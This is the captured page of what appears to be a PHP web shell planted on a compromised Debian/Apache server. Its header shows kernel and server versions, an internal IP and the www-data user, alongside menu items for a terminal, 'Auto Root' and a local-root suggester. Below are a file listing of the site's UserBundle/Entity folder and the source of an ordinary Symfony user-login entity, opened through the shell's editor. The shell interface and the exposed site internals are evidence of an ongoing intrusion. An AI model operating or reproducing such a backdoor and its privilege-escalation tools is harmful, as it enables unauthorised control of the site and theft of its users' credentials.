Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
UserBundle /
Entity /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CCEStudent.php
31.3
KB
-rwxrwxr-x
2026-05-25 13:49
UserLevel.php
2.45
KB
-rwxrwxr-x
2026-04-02 11:48
UserList.php
15.2
KB
-rwxrwxr-x
2026-04-02 11:48
UserLogin.php
3.3
KB
-rwxrwxr-x
2026-05-20 09:05
UserOld.php
4.03
KB
-rwxrwxr-x
2026-05-18 12:51
php_errors.log
318
B
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\UserBundle\Entity; use Doctrine\ORM\Mapping as ORM; use Symfony\Component\Security\Core\User\LegacyPasswordAuthenticatedUserInterface; use Symfony\Component\Security\Core\User\UserInterface; /** * Member portal login (user_login table). * * @ORM\Table(name="user_login") * @ORM\Entity(repositoryClass="App\UserBundle\Repository\UserLoginRepository") */ class UserLogin implements UserInterface, LegacyPasswordAuthenticatedUserInterface { /** @var list<string>|null */ private ?array $roles = null; private ?int $memberFirmId = null; private bool $memberFirmPresent = false; /** * @ORM\Id * @ORM\Column(name="id", type="integer") * @ORM\GeneratedValue(strategy="IDENTITY") */ private ?int $id = null; /** * Maps to Contacts.ContactsID / MemberContacts.ContactID (member portal). * * @ORM\Column(name="contact_id", type="integer", nullable=true) */ private ?int $contactId = null; /** * @ORM\Column(name="username", type="string", length=12, nullable=true) */ private ?string $username = null; /** * @ORM\Column(name="password", type="string", length=50, nullable=true) */ private ?string $password = null; /** * @ORM\Column(name="salt", type="string", length=50, nullable=true) */ private ?string $salt = null; public function getId(): ?int { return $this->id; } public function getContactId(): ?int { return $this->contactId; } public function setContactId(int $contactId): static { $this->contactId = $contactId; return $this; } public function getUsername(): ?string { return $this->username; } public function setUsername(string $username): static { $this->username = $username; return $this; } public function getPassword(): ?string { return $this->password; } public function setPassword(string $password): static { $this->password = $password; return $this; } public function getSalt(): ?string { return $this->salt; } public function setSalt(?string $salt): static { $this->salt = $salt; return $this; } public function getUserIdentifier(): string { return (string) $this->username; } /** * @param list<string> $roles */ public function setResolvedRoles(array $roles): void { $this->roles = $roles; } /** * @return list<string> */ public function getRoles(): array { return $this->roles ?? ['NONE']; } public function getGranted(string $roleName): bool { return in_array($roleName, $this->getRoles(), true); } public function setMemberFirmContext(?int $memberFirmId, bool $present): void { $this->memberFirmId = $memberFirmId; $this->memberFirmPresent = $present; } public function getMemberFirmId(): ?int { return $this->memberFirmId; } public function hasMemberFirm(): bool { return $this->memberFirmPresent && $this->memberFirmId !== null; } public function eraseCredentials(): void { } public function __toString(): string { return (string) $this->username; } }